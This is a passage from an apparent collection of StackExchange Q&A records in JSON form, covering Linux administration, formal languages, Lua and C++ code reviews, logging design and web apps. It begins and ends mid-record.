/dev/mappersfa1_crypt/dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors *******e2fsck: aborted/dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors *******And the it aborted with a warning that the filesystem still had errors.My questions are:Is my data toasted? (My rigorous backup policy hasn't been rigorously followed of late; I am being punished by the universe, I am sure.)What can/ought I to do now?Did I do the wrong thing already?Will someone hold me until the shaking stops?EDITI also asked on my local LUG mailing list. The advice I got there was to take an image of the drive with ddrescue and run fsck on a copy of that image. That seems sound and unlikely to make things worse. So, that is the present plan of attack, pending any better suggestions." , "title": "encrypted ext3 damaged; how to proceed?" , "tags": "encryption;data recovery;fsck" } { "id": "_webapps.87199" , "question": "I'm creating a form where organizations can report on a number of different training positions which they provide. These training positions are called 'posts'. On the first page of the form, users enter basic information about their posts, e.g. the 'post number'. I've set this up as a repeating section, as one organization may have multiple posts.On the second page of the form, users need to enter more specific information relating to each of the posts they'd previously listed. Because of this, I'd like some of the information entered in the repeating section to be automatically populated here. For example, if a user lists three different posts in the repeating section on the first page, then the second page should display the details they entered for all three posts, with extra fields where they can provide further information for each.Essentially, I'm trying to dynamically create content and fields on one page based on what was entered in the repeating section on the previous page. Is this possible?" , "title": "Cognito Forms: dynamically displaying content entered into a repeating section on a subsequent page" , "tags": "cognito forms" } { "id": "_unix.370421" , "question": "I have enabled two serial ports in VirtualBox, and then typed the lspci command in Ubuntu, and this is the result:The serial ports are not listed, is it because the serial ports are not part of the PCI bus?" , "title": "Why the lspci command does not list the serial ports?" , "tags": "linux;serial port;x86;pci" , "accepted_answer": "is it because the serial ports are not part of the PCI bus?Yes. Traditional PC serial ports on x86 hardware interface with applications via old-style ISA I/O ports and interrupts. Keep in mind that RS-232 data rates are down in the kHz range in the vast majority of cases. PCI holds no advantage for RS-232.Add-on PCI serial port cards may appear in lspci output, but that's more about available slots than the appropriateness of PCI to RS-232." } { "id": "_webmaster.101400" , "question": "we're currently rebuilding a client's application and are wondering if there are any benefits of serving specific pages to crawlers?I.E. Semantic html, no stylesheets, additional meta tags?Would love to know what you think" , "title": "SEO benefits of serving simplified pages to crawlers" , "tags": "seo;html;googlebot" } { "id": "_unix.349471" , "question": "We are using linux logrotate for rotating our log files,Example :/location/tomcat/logs/* /location/jboss/log/* { copytruncate daily rotate 10 compress size 20M olddir rotated create 0644 test test}As per the copy truncate definition given in LINUX,copytruncate Truncate the original log file in place after creating a copy, instead of moving the old log file and optionally creating a new one, It can be used when some program can not be told to close its logfile and thus might continue writing (appending) to the previous log file forever. Note that there is a very small time slice between copying the file and truncating it, so some log- ging data might be lost. When this option is used, the create option will have no effect, as the old log file stays in place.So there will be a data loss in log file during rotate process. I noticed around 5 to 20 seconds of log loss, Is there a way / configuration to do the same process without data loss? " , "title": "Logrotate in linux to handle log data loss" , "tags": "logs;logrotate" } { "id": "_cs.49111" , "question": "Since we started talking about relations on languages and so on i keep on struggling with this subject. So now iam faced with two questions where i really dont know how to start. First of all, the natural relation of a language $L \\subseteq \\Sigma^*$ is the equivalence relation on $\\Sigma^*$ with the equivalence classes $L$ and $\\Sigma^* \\setminus L$Let the natural relations of two arbitrary languages $L_1$ and $L_2$ be right congruent. Is the natural relation of the language $L_1 \\cup L_2 $ also right congruent?So a right congruence is a equivalence relation with the added property that:$ \\forall a \\in \\Sigma : u \\equiv v \\Longrightarrow ua \\equiv va$Intuitively i would say that the union of this two relations remains to be a right congruence but i dont know how to prove this idea.For every equivalence relation $\\equiv$, there are at least two languages which are saturated by $\\equiv$, true or false? An equivalence relation saturates a Language $L$ if: $ u \\equiv v \\Longrightarrow u \\in L \\Leftrightarrow v \\in L $My guess would be that any equivalence relation saturates the Language $L$ and $\\bar{L}$I would be pleased if some one could provide me with a useful hint on how to solve this questions." , "title": "Union of right congruence relations" , "tags": "formal languages" , "accepted_answer": "I'll walk you through the first question. You can ask the second question separately (see D.W.'s answer).When faced with a proof or refute question like this, we need to try both directions. First, we can try proving the claim. If we seem to get stuck, we can look for a counterexample.Let's try proving the claim. We are given that $L_1$ and $L_2$ are right congruent. This means the following, for $u,v \\in \\Sigma^*$ and $a \\in \\Sigma$:If $u,v \\in L_1$ or $u,v \\notin L_1$ then either $ua,va \\in L_1$ or $ua,va \\notin L_1$.If $u,v \\in L_2$ or $u,v \\notin L_2$ then either $ua,va \\in L_2$ or $ua,va \\notin L_2$.Let's try to prove that $L_1 \\cup L_2$ also satisfies a similar condition. We have to consider two cases: $u,v \\in L_1 \\cup L_2$ and $u,v \\notin L_1 \\cup L_2$. The second case looks simpler, so let's start with it. If $u,v \\notin L_1 \\cup L_2$ then $u,v \\notin L_1$ and $u,v \\notin L_2$. The assumptions then show that:Either $ua,va \\in L_1$ or $ua,va \\notin L_1$.Either $ua,va \\in L_2$ or $ua,va \\notin L_2$.We have to prove that either $ua,va \\in L_1 \\cup L_2$ or $ua,va \\notin L_1 \\cup L_2$. We reason as follows. If $ua,va \\in L_1$ then $ua,va \\in L_1 \\cup L_2$ so we're done. Same if $ua,va \\in L_2$. The remaining case is $ua,va \\notin L_1$ and $ua,va \\notin L_2$. In this case, $ua,va \\notin L_1 \\cup L_2$, so we're again done.Now let's get back to the other case: $u,v \\in L_1 \\cup L_2$. This case looks harder. There are many different subcases. Let's start with a simple one: $u,v \\in L_1$. In this case we can say that $ua,va \\in L_1$ (and then we're done, since $ua,va \\in L_1 \\cup L_2$) or $ua,va \\notin L_1$. What do we do in the latter case? We have to consider membership of $u,v$ in $L_2$. If $u,v \\in L_2$ or $u,v \\notin L_2$ then either $ua,va \\in L_2$ (and then we're done, since $ua,va \\in L_1 \\cup L_2$) or $ua,va \\notin L_2$, in which case we know that $ua,va \\notin L_1 \\cup L_2$. But what happens if $u \\in L_2$ and $v \\notin L_2$? Then we seem to be stuck.Now we switch gears, trying to refute the claim. We got stuck when we had $u,v$ such that $u,v \\in L_1$, $ua,va \\notin L_1$, $u \\in L_2$, $v \\notin L_2$. So we try to look for two right congruent languages for which two such words exist. In order to do that, we need first to think of examples of right congruent languages. One very simple example is the language of even-length words. We can enrich the repertoire by taking the language of all words having an even number of some letter $a$.Here are two examples of this sort: take $L_1$ to be all words with an even number of $0$s, and take $L_2$ to be all words with an even number of $1$s. We can take $u = \\epsilon \\in L_1 \\cap L_2$ (here $\\epsilon$ is the empty word) and $v = 1 \\in L_1 \\setminus L_2$. Since we want $ua,va \\notin L_1$, we take $a = 0$. Then $u0,v0 \\notin L_1$ while $u0 \\in L_2, v0 \\notin L_2$. So $u0 \\in L_1 \\cup L_2$ but $v0 \\notin L_1 \\cup L_2$, and we have found our counterexample!As you can see, finding a counterexample is often more creative then proving a statement, which can be quite mechanical. You just need to try a lot of things until something works.The next step is to reflect on what we have shown. Is there any other operation on two languages which preserves the property of being right congruent? Is there an operation on one language? Indeed, there are: if $L$ is right congruent then so is $\\overline{L}$; and if $L_1,L_2$ are right congruent then their symmetric difference $L_1 \\triangle L_2$ is right congruent. See if you can prove these claims.(In fact, right congruent languages are exactly the languages accepted by a DFA with at most two states. This leads to a complete classification of these languages, which I leave to the reader.)" } { "id": "_unix.353784" , "question": "Probably a stupid question but I want to be sure on this. On an SSH connection, can you do everything that you can do on a console connection?In other words, after launching a system and installing and configuring an SSH server on it, can you do all your further interaction with this system via SSH, and not use the console (except in cases that the SSH server is not available for some reason)?" , "title": "Is there anything that can be done via a console login, but not via an SSH login?" , "tags": "ssh;console" , "accepted_answer": "Yes.Here are just some of the things.superuser logonOn systems like FreeBSD and OpenBSD, the init program only permits logging on as user #0, in single user mode, on terminals marked as secure in the /etc/ttys file. And the login program (directly on OpenBSD, through a PAM module in FreeBSD) enforces the secure flag in multi-user mode.Debian and Ubuntu similarly have the /etc/securetty mechanism. In all of them, the console, and the kernel virtual terminals (which are not necessarily the console, note), default to permitting superuser log on.On OpenBSD, the out of the box default for SSH is not to permit log on as the superuser when using password or keyboard-interactive authentication (but to permit it when using public key authetication). The out of the box default for SSH on FreeBSD is to not permit log on as the superuser at all.framebuffer output event/USB input programsOne can tunnel X over an SSH connection, and one can interact with programs that employ a terminal device. But programs that expect to perform I/O via Linux's event device system, via USB HID devices, and via a framebuffer device, are not operable via SSH. further readingHow to use /dev/fb0 as a console from userspace, or output text to itsoundOne generally doesn't get sound tunnelled over SSH, either. One can manually direct programs that make sounds to a PulseAudio server over the LAN, or manually tunnel from the remote sound clients to a local PulseAudio server. But not all sound is PulseAudio, for starters.further readinghttps://superuser.com/questions/231920/BraillePrograms such as BRLTTY require direct access to the character+attribute cell array of a virtual terminal device. Where a server has BRLTTY set up, it cannot access SSH login sessions and display them in Braille, whereas it can display kernel virtual terminal login sessions. further readingJonathan de Boyne Pollard (2014). Combining the nosh user-space virtual terminals with BRLTTY. Softwares.accessibility. Debian wiki.emergency mode and rescue mode workBootstrapping into emergency mode or rescue mode does not start an SSH server. Neither mode starts all of the hooplah that underpins networking, let alone network services like an SSH server.unpredictable PolicyKit stuffPolicyKit has the notion of active and inactive login sessions. This tries to boil down what in the /etc/ttys system is a set of several attributes (on, secure, network, dialup) into a single true/false switch between active and inactive. This doesn't quite fit the world where SSH and its ilk exist.One can only have an active login session when one logs on on the console or on a kernel virtual terminal. Logging on via SSH is always considered to be an inactive login session. Surprising behavioural differences can result, because software authors and the system administrator can grant differing permissions to do stuff to active versus inactive login sessions.further readingEnabling system management privileges for non-local users - How the heck does `polkit` work, anyways?https://askubuntu.com/questions/21586/Jeff Lane (2014-03-28). plainbox-secure-policy doesn't work over ssh. Bug #1299201. Launchpad. Ubuntu." } { "id": "_codereview.62059" , "question": "BackgroundI'm using Lua with luaglut to do some OpenGL stuff. The luaglut API is almost identical to the gl/glut C APIs. Sometimes, gl functions want a pointer to some data, for example:glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, oh_crap_a_pointer)In these cases, the luaglut bindings take a light userdata containing the pointer. In the luaglut demos, a small example library called memarray does the work of setting up a C array and returning a pointer to it as a light userdata.You might use memarray something like this:require 'memarray'function loadTexture(filename) local file = assert(io.open(filename, 'rb')) local data = file:read('*a') file:close() local array = memarray('uchar', #data) array:from_str(data) return arrayend-- ... laterlocal texture = loadTexture('whatever.rgba')glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 32, 32, 0, GL_RGBA, GL_UNSIGNED_BYTE, texture:ptr())That got me thinking, why do we need memarray at all? Lua strings should be binary safe; all we really need is to get a pointer to the string returned fromfile:read('*a') as a light userdata. It would look something like this:function loadTexture(filename) local file = assert(io.open(filename, 'rb')) local data = file:read('*a') file:close() return dataend-- ... laterlocal stringpointer = require 'stringpointer'local texture = loadTexture('whatever.rgba')glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 32, 32, 0, GL_RGBA, GL_UNSIGNED_BYTE, stringpointer.get(texture))Of course we pass the string around instead of the pointer, because the GC could free the memory the string was in if there are no more references to it, invalidating the pointer. Internally Lua strings are immutable and passed by reference anyway, so this is no big deal.Code#include #include #include int get_pointer(lua_State *L){ luaL_checktype(L, 1, LUA_TSTRING); lua_pushlightuserdata(L, (void *)lua_tostring(L, 1)); return 1;}int luaopen_stringpointer(lua_State *L){ const luaL_Reg api[] = { {get, get_pointer}, {NULL, NULL} };#if LUA_VERSION_NUM == 501 luaL_register(L, stringpointer, api);#else luaL_newlib(L, api);#endif return 1;}It's really tiny, but my C is rusty so maybe I did something stupid. It seems to work fine so far. Any input is welcome." , "title": "Tiny Lua library to get char pointer from string" , "tags": "c;memory management;lua;opengl" } { "id": "_webmaster.12129" , "question": "I've been optimizing my website for search engines, and for some reason I have a crawl error on a page that has not been found at 'www.peach-designs.com/a' which is not a page, is not a link, or is not anything on my site. I've checked my code and I'm only left to assume that this is a link to a page (a href, etc.).Is this common for other websites?" , "title": "SEO - Crawl Errors" , "tags": "google;seo;web crawlers" } { "id": "_unix.51944" , "question": "Imagine something like this: $ curlsh http://www.example.org> GET /foo/bar/bam...output here...> POST /thing/pool ...... result here.... is there a tool that lets me do that? " , "title": "Is there a way to use curl interactively? Or is there an interactive curl/wget shell?" , "tags": "wget;curl" , "accepted_answer": "Thanks for the answers.After googling around, I found resty, which is a shell script wrapper around the curl tool. This is really what I want. It's 155 lines of shell script, and when I run it, I get functions for GET, PUT, POST, DELETE, and OPTIONS. These functions are just wrappers around the curl program found on my path.It works like this on MacOSX bash: $ . resty$ resty https://api.example.orghttps://api.myhost.com*$ GET /v1/o/orgname -u myusername:password{ createdAt : 1347007133508, createdBy : admin, displayName : orgname, environments : [ test, prod ], lastModifiedAt : 1347007133508, lastModifiedBy : admin, name : orgname, properties : { propertyList : [ ... ] },}$The first line there just runs the commands in the current shell. The next line, the resty command, sets the URL base. Thereafter, any call to GET, PUT, POST... implicitly references that base. I showed an example that emits prettified JSON. I think if your server emits minified JSON, you could pretty-print it with an external script by piping the output. There's support for host-based preferences. Suppose your target host is api.example.org. Ceate a file called ~/.resty/api.example.org, and insert in there, lines which specify arguments that should be passed to every curl call to the host by that name. Each http verb gets its own line. So, inserting this content in the file: GET -u myusername:mypassword --write-out \\nStatus = %{http_code}\\n...means that every time I do a GET when api.example.org is the base hostname, the curl command will implicitly use the -u and --write-out args shown there. (-u for basic auth). As another example, you could specify the Accept header in that file, so that you always request XML: GET --header Accept: application/xmlAny curl command line arg is supported in that preferences file. All the curl args for the host+verb tuple need to go on a single line in the preferences file. Handy." } { "id": "_unix.117040" , "question": "My input file has positions in first column with different number of spaces (or no space)16504 16516 1650811 16520 1651 16524 16516111 16528 165204 16532 I need to get an output file where fist column has no spaces at all, while keeping second column as it is. 16504 16516 16508 16520 16512 16524 16516 16528 16520 16532 " , "title": "removing spaces from first column" , "tags": "text processing;sed;awk;columns" } { "id": "_unix.364096" , "question": "I have a problem with PulseAudio on my Buildroot based Raspberry Pi. It's playing audio 2% slower than normal. Indeed, after measurement, I get 100 BPM on the Raspberry when I have 102 on my computer, and it scales with the BPM. I always have RPi's BPM = 98% normal BPM .It also works with frequencies, that are 2% smaller ...I'm using a Raspberry Compute Module (CM1) with a Wolfson WM8731 audio codec.I tried everything I found on the internet to play files in real time, have the best scheduling priority, but still that problem. It's very strange because I don't hear the music cracking or whatever. I also don't hear 'vibrato' effect because of frequency changing regularly. So it really seems that Pulse Audio is just 2% late compared to real time.Do you guys have an idea of what could be the problem ?" , "title": "Pulse Audio plays 2% slower" , "tags": "audio;raspberry pi;pulseaudio" } { "id": "_unix.219564" , "question": "I downloaded debian-live-8.1.0-i386-standard.isofrom http://cdimage.debian.org/debian-cd/8.1.0-live/i386/iso-hybrid/and booted a system from it , logged in with user and password as live. NOW, When i got bash prompt, now what to type so that the debian standard installation starts to install on my hard disk?background note: i downloaded all other .iso (for example: debian-live-8.1.0-i386-mate-desktop.iso ) from the same above directory url. And from all those .iso, i could run the system as live and install also - ie, they are hybrid CD.The standard iso works fine as live CD , but as it is hybrid CD too, so it should be able to start installation also." , "title": "install debian from hybrid standard CD" , "tags": "debian" } { "id": "_unix.293327" , "question": "It's fairly straightforward to determine from within a script that the code being run is not running in an interactive shell, but you already know that as you write the script, so I'm not sure how it's useful except within a function (or if you source the script).Within a script, how do you determine if the script is being run from an interactive shell, or being run by another script? In other words, how do you determine the interactivity of the caller of the script? Put yet another way, how do you know whether the parent shell is interactive or not?Just to further clarify, I'm not trying to find the name of the nearest interactive ancestor, I'm just trying to figure out if the immediate parent is interactive or not.If this varies from shell to shell, I'm most interested in zsh, but also in bash." , "title": "How to determine if script is called by interactive shell or another script?" , "tags": "shell script;interactive" } { "id": "_webapps.20113" , "question": "We're using Trello to track our hiring process. It would be nice to use the vote feature to quickly gauge opinions without having to read comments. However, there doesn't seem to be a way to clear votes besides having each member unvote. So, votes currently must represent the card over the whole board. It seems reasonable for it to represent the card only for that list, but that's only possible if you can clear it somehow..." , "title": "Is there a way I can clear votes in Trello?" , "tags": "trello" } { "id": "_softwareengineering.233498" , "question": "Requirements:My application is latency sensitive. Millisecond level responsiveness matters. Not all the time, but when it acts, it needs to be fast.My application needs to log information about what it's done in those times.The actual writing of the logs does not need to be that fast, just the actions.However, the log files need to be written at human speed, in other words, I cannot set immediateFlush to false.So, obviously, certain kinds of logging are getting offloaded to another thread. I am using logback as a framework, but for certain sorts of log messages I still want to offload the work to another thread.Here is how the system currently works:Each part of the latency sensitive system gets a particular logger interface injected. Each of these log methods has a signature specific to the sorts of things I know the logger will need to log.A SimpleLogger implementation is written for each case. This writes to the log on the same thread.I have also written a ThreadedLogger which implements ALL the logging interfaces, and gets a backing logger implementation injected for each sort of logger.Whenever a log method is called in ThreadedLogger, it wraps the request in an SomeLogObject implements LogCommand, throws the objected into a LinkedBlockingQueue, and returns. This is similar to the Go4 Command patternThere is a consumption thread that blocks on BlockingQueue.take() waiting for log objects to come in. When they do, it calls LogCommand.execute(), which calls the appropriate method in the backing Logger in ThreadedLogger.Currently the LogCommand implementations are very stupid. They just call the appropriate method in the proper injected logger.I am trying to decide if I should refactor this system. Currently, if I need to create a new place to do these offloaded logs, I have to create:A new interfaceA new implementation of this interfaceTwo new DI bindings (one for the simple logger, one for the ThreadedLogger backer)A new LogCommand implementationA new method for creating this LogCommand objectCode for injecting and storing as a field the appropriate logger in ThreadedLogggerIt seems to me that it would be a lot simpler to offload the creation of the LogObject to the calling threads, but I am concerned that I'm exposing too much of the internal workings of the log system if I do that. Not that this is necessarily a problem, but it seems unclean. Another possibility would be to combine the functionality of the simple logger implementations with their respective log objects, so the objects change from being I am an object that does logging when given log data to I am a log event that knows how to log myself, and these objects can be created by a log factory." , "title": "Logging in a latency sensitive system" , "tags": "java;design;logging" , "accepted_answer": "You have made your design overly complex by creating specific logger signatures for the various latency sensitive parts.A better design would have been to use the Logger interface from logback for all parts of the application. If performance measurements have shown that the logging causes a bottleneck for some low-latency parts, then you can offload the logging in this way:You create a ThreadedLogger class that implements the Logger interface and a ThreadedLogReader class. These two classes communicate using LogCommand objects. The LogCommand class contains all the required log information (which logger to use, the severity level and the actual log message).The ThreadedLogReader class runs on a separate thread and injects the log messages in the received LogCommand objects into the logback framework.This way, your logging framework remains free from knowledge about the latency-sensitive parts of the code. If you want to make it really fancy, you could even implement a custom version of the LoggerFactory class which decides if a certain logger should be a ThreadedLogger or a regular Logger." } { "id": "_datascience.20264" , "question": "The KDD 1999 dataset had 41 features and the UNB ISCX Intrusion Detection Evaluation DataSet (iscx.ca/dataset)had 49. For an intrusion detection problem, I want to extract these features from a given/generated pcapng file. Is there any feature extraction tool available for this? [All the information may not be present in the input pcapng file and some features may not be computable] " , "title": "Feature extraction from given pcapng file" , "tags": "feature extraction" } { "id": "_opensource.140" , "question": "How can I keep people involved and motivated to work on a project that doesn't involve direct monetary benefit?What specific strategies do open source projects tend to use to keep core developers involved?Partly this is a general what strategies reliably motivate most open-source developers, but it's also about how can you prevent people from forgetting they're involved at all? What specific tactics do project leaders use to remind people that they're part of something?.At least in my own case, my largest problem with projects is that I have hundreds of barely started, and tens of half-finished things that I just completely forget about / put off, but that I do really want to see completed. While this arguably isn't specific to open source, to me at least it's the largest impediment." , "title": "How can I keep a project from losing momentum?" , "tags": "project management;human resources" } { "id": "_softwareengineering.190876" , "question": "In class I am learning about value iteration and markov decision problems, we are doing through the UC Berkley pac-man project, so I am trying to write the value iterator for it and as I understand it, value iteration is that for each iteration you are visiting every state, and then tracking to a terminal state to get its value.I have a feeling I am not right, because when I try that in python I get a recursive depth exceed. So I return to the pseudo-code, and there is a Vk[s] and Vk-1[s'], which I had thought to mean value of state, and value of newState, but I must be missing something.So what is the significance of the k and k-1?My Code: def val(i, state): if mdp.isTerminal(state) or i == 0: return 0.0 actionCost = {} for action in mdp.getPossibleActions(state): actionCost[action] = 0 for (nextState, probability) in mdp.getTransitionStatesAndProbs(state, action): reward = mdp.getReward(state, action, nextState) actionCost[action] += probability * reward + discount * val(i - 1, nextState) return actionCost[max(actionCost, key=actionCost.get)] for i in range(iterations): for state in mdp.getStates(): self.values[state] = val(i, state)Pseudo Code:k 0 repeat k k+1 for each state s do Vk[s] = maxa s' P(s'|s,a) (R(s,a,s')+ Vk-1[s']) until s |Vk[s]-Vk-1[s]| < " , "title": "I don't understand value iteration" , "tags": "python;artificial intelligence" } { "id": "_codereview.7725" , "question": "I am writing a few python functions to parse through an xml schema for reuse later to check and create xml docs in this same pattern. Below are two functions I wrote to parse out data from simpleContent and simpleType objects. After writing this, it looked pretty messy to me and I'm sure there is a much better (more pythonic) way to write these functions and am looking for any assistance. I am use lxml for assess to the etree library.def get_simple_type(element): simple_type = {} ename = element.get(name) simple_type[ename] = {} simple_type[ename][restriction] = element.getchildren()[0].attrib elements = element.getchildren()[0].getchildren() simple_type[ename][elements] = [] for elem in elements: simple_type[ename][elements].append(elem.get(value)) return simple_type def get_simple_content(element): simple_content = {} simple_content[simpleContent] = {} simple_content[simpleContent][extension] = element.getchildren()[0].attrib simple_content[attributes] = [] attributes = element.getchildren()[0].getchildren() for attribute in attributes: simple_content[attributes].append(attribute.attrib) return simple_contentExamples in the schema of simpleContent and simpleTypes (they will be consistently formatted so no need to make the code more extensible for the variety of ways these elements could be represented in a schema): The code currently creates dictionaries like those show below, and I would like to keep that consistent:{'attributes': [{'type': 'xs:integer', 'name': 'sort_order'}], 'simpleContent': {'extension': {'base': 'xs:integer'}}}{'yesNoOption': {'restriction': {'base': 'xs:string'}, 'elements': ['yes', 'no', 'Yes', 'No']}}" , "title": "Python xml schema parsing for simpleContent and simpleTypes" , "tags": "python;parsing;xml" , "accepted_answer": "Do more with literals:def get_simple_type(element): return { element.get(name): { restriction: element.getchildren()[0].attrib, elements: [ e.get(value) for e in element.getchildren()[0].getchildren() ] } }def get_simple_content(element): return { simpleContent: { extension: element.getchildren()[0].attrib, attributes: [ a.attrib for a in element.getchildren()[0].getchildren() ] } }" } { "id": "_softwareengineering.308749" , "question": "I am developing an e-commerce product and I have been able to implement all functionality and am left with allowing users to create additional attributes for a product. Right Now I have two options.EAVEAV is largely frowned upon but seems to work for Magento. But after researching all the headaches it causes I am a bit reluctant to use itUse JSON Columns in MySql 5.7This is rather new an I have not seen it being implemented anywhere else and I am dreading full table scans as a result of querying the JSON attributes. But after reading this MySql 5.7 JSON they seem to recommend using JSON. and it would be less tiresome than implementing something like this Practical MySql schema advice .My question is, although I am biased towards using the JSON column way of storing attributes as NoSQL is not an option for me, are there any drawbacks that are more severe than using EAV tables." , "title": "Using MySql 5.7 JSON columns for EAV" , "tags": "performance;sql;mysql" } { "id": "_codereview.18415" , "question": "Here's some code that removes the specified character, ch, from the string passed in. Is there a better way to do this? Specifically, one that's more efficient and/or portable?//returns string without any 'ch' characters in it, if any.#include using namespace std;string strip(string str, const char ch){ size_t p = 0; //position of any 'ch' while ((p = str.find(ch, p)) != string::npos) str.erase(p, 1); return str;}" , "title": "Stripping specified character" , "tags": "c++" , "accepted_answer": "I'm not entirely sure how the performance will compare, but the standard way to accomplish this would be the erase-remove idiom:str.erase(std::remove(str.begin(). str.end(), ch), str.end());Unless the performance proves to be a bottleneck, it's typically better to stick with the C++ style of doing things. I can't imagine that this would be significantly less efficient than the other method. (In fact, I wouldn't be surprised if this is a bit faster for long strings with a high amount of the removed character -- though my assumption of that depends on quite a few non-guaranteed implementation choices, and a rather rough estimation of the cost of different low level operations.)" } { "id": "_codereview.167176" , "question": "I have wrote code for a stopwatch that utilizes the abstract design pattern and would like to get some feedback on the code, so be as harsh as you can.Note: I used ctime instead of chrono because this is not meant for benchmarking. The code will later be used in a console game, and the format of the std::tm struct is easy to work with.Also, note that the way I wrote the tests in source.cpp will result in a small visual bug from time to time to resolve it lower the waiting time inside of the do while loop from std::chrono::seconds(1) to std::chrono::milliseconds(250); and increase the value of timer, the following action will increase the refresh rate.EDIT: Note that this question is a followup to Watch that uses the abstract factory design pattern they both use the same Console, Constants and Digits library but both accomplish a different task StopWatch.h:#ifndef STOP_WATCH#define STOP_WATCH#includeDigits.h#include#include#includeclass StopWatch{public: virtual void printTime() = 0; void setStopWatchXY(int x, int y); bool countDownFrom(int seconds); void updateTime(); void reset(); void start(); void stop(); void lap(); const std::vector& getLapTimes() const; int getElapsed() const; virtual ~StopWatch() = default;protected: int m_watchXPos; int m_watchYPos; int m_seconds; int m_minutes; int m_hours;private: std::vector m_lapTimes; bool m_running{ false }; int m_elapsed{}; int m_beg; std::time_t m_now; void converter(int seconds); void clearTime();};class DigitalStopWatch final : public StopWatch{public: virtual void printTime() override; explicit DigitalStopWatch(int x, int y) { setStopWatchXY(x, y); }};class SegmentedStopWatch final : public StopWatch{public: virtual void printTime() override; explicit SegmentedStopWatch(int x, int y) { setStopWatchXY(x, y); }private: Digit m_stopWatchDigits[6]; void printDigitAtLoc(Digit digArr[], int index, int x, int y) const; void printColon(int x, int y); void printSeconds(); void printMinutes(); void printHours(); void set(Digit digArr[], int startIndex, int unit); void setDigitsToCurrentTime(); void setSeconds(); void setMinutes(); void setHours();};class Factory{public: virtual std::unique_ptr createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const = 0;};class DigitalStopWatchFactory final : public Factory{ virtual std::unique_ptr createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const override { return std::make_unique(stopWatchXPos, stopWatchYPos); }};class SegmentedStopWatchFactory final : public Factory{ virtual std::unique_ptr createStopWatch(int stopWatchXPos = 0, int stopWatchYPos = 0) const override { return std::make_unique(stopWatchXPos, stopWatchYPos); }};#endif StopWatch.cpp:#includeStopWatch.h#includeConsole.h#include //for this_thread::sleep_fornamespace{ constexpr int maxTime { 356400 }; constexpr int digitPadding { 5 }; constexpr int secondsIndexStart{ 5 }; constexpr int minutesIndexStart{ 3 }; constexpr int timePadding { 2 }; constexpr int hoursIndexStart { 1 }; enum { First, Second, Third, Fourth, Fifth, Sixth };}/*|---STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*/void StopWatch::setStopWatchXY(int x, int y){ Console::setXY(x, y, m_watchXPos, m_watchYPos);}bool StopWatch::countDownFrom(int seconds){ if (seconds > maxTime) seconds = maxTime; while (seconds >= 0) { converter(seconds); printTime(); if (seconds > 0) { std::this_thread::sleep_for(std::chrono::seconds(1)); }//end of if --seconds; }//end of while return true;}void StopWatch::updateTime(){ long long curTimeInSec{ static_cast(std::time(&m_now)) - m_beg + m_elapsed }; if (curTimeInSec > maxTime) curTimeInSec = 0; converter(curTimeInSec);}void StopWatch::reset(){ m_running = false; m_lapTimes.clear(); m_lapTimes.shrink_to_fit(); clearTime();}void StopWatch::start(){ if (!m_running) { m_beg = static_cast(std::time(&m_now)); m_running = true; }//end of if}void StopWatch::stop(){ if (m_running) { m_elapsed += static_cast(std::time(&m_now)) - m_beg; m_running = false; }//end of if}void StopWatch::lap(){ if (m_running) { stop(); m_lapTimes.emplace_back(m_elapsed); clearTime(); start(); }//end of if}const std::vector& StopWatch::getLapTimes() const{ return m_lapTimes;}int StopWatch::getElapsed() const{ return m_elapsed;}/*|----PUBLIC_FUNCTIONS_END----|*//*|---PRIVATE_FUNCTIONS_START---|*/void StopWatch::converter(int seconds){ m_hours = seconds / 3600; seconds = seconds % 3600; m_minutes = seconds / 60; m_seconds = seconds % 60;}void StopWatch::clearTime(){ m_elapsed = 0; m_seconds = 0; m_minutes = 0; m_hours = 0;}/*|----PRIVATE_FUNCTIONS_END----|*//*|----STOP_WATCH_FUNCTIONS_END----|*//*|---DIGITAL_STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*//*|---VIRTUAL_FUNCTIONS_START---|*/void DigitalStopWatch::printTime() { Console::gotoxy(m_watchXPos, m_watchYPos); if (m_hours < 10) std::cout << '0'; std::cout << m_hours << ':'; if (m_minutes < 10) std::cout << '0'; std::cout << m_minutes << ':'; if (m_seconds < 10) std::cout << '0'; std::cout << m_seconds;}/*|----VIRTUAL_FUNCTIONS_END----|*//*|----PUBLIC_FUNCTIONS_END----|*//*|----DIGITAL_STOP_WATCH_FUNCTIONS_END----|*//*|---SEGMENTED_STOP_WATCH_FUNCTIONS_START---|*//*|---PUBLIC_FUNCTIONS_START---|*//*|---VIRTUAL_FUNCTIONS_START---|*/void SegmentedStopWatch::printTime() { setDigitsToCurrentTime(); printHours(); printColon(m_watchXPos + 10, m_watchYPos); printMinutes(); printColon(m_watchXPos + 22, m_watchYPos); printSeconds();}/*|----VIRTUAL_FUNCTIONS_END----|*//*|----PUBLIC_FUNCTIONS_END----|*//*|---PRIVATE_FUNCTIONS_START---|*/void SegmentedStopWatch::printDigitAtLoc(Digit digArr[], int index, int x, int y) const{ digArr[index].setDigitXY(x + index * digitPadding, y); digArr[index].printDigit();}void SegmentedStopWatch::printColon(int x, int y){ Console::putSymbol(x, y + 1, '.'); Console::putSymbol(x, y + 2, '.');}void SegmentedStopWatch::printSeconds(){ printDigitAtLoc(m_stopWatchDigits, Fifth, m_watchXPos + timePadding * 2, m_watchYPos); printDigitAtLoc(m_stopWatchDigits, Sixth, m_watchXPos + timePadding * 2, m_watchYPos);}void SegmentedStopWatch::printMinutes(){ printDigitAtLoc(m_stopWatchDigits, Third, m_watchXPos + timePadding, m_watchYPos); printDigitAtLoc(m_stopWatchDigits, Fourth, m_watchXPos + timePadding, m_watchYPos);}void SegmentedStopWatch::printHours(){ printDigitAtLoc(m_stopWatchDigits, First, m_watchXPos, m_watchYPos); printDigitAtLoc(m_stopWatchDigits, Second, m_watchXPos, m_watchYPos);}void SegmentedStopWatch::set(Digit digArr[], int startIndex, int unit){ if (unit < 10) digArr[startIndex - 1] = 0; else digArr[startIndex - 1] = unit / 10; digArr[startIndex] = unit % 10;}void SegmentedStopWatch::setDigitsToCurrentTime(){ setHours(); setMinutes(); 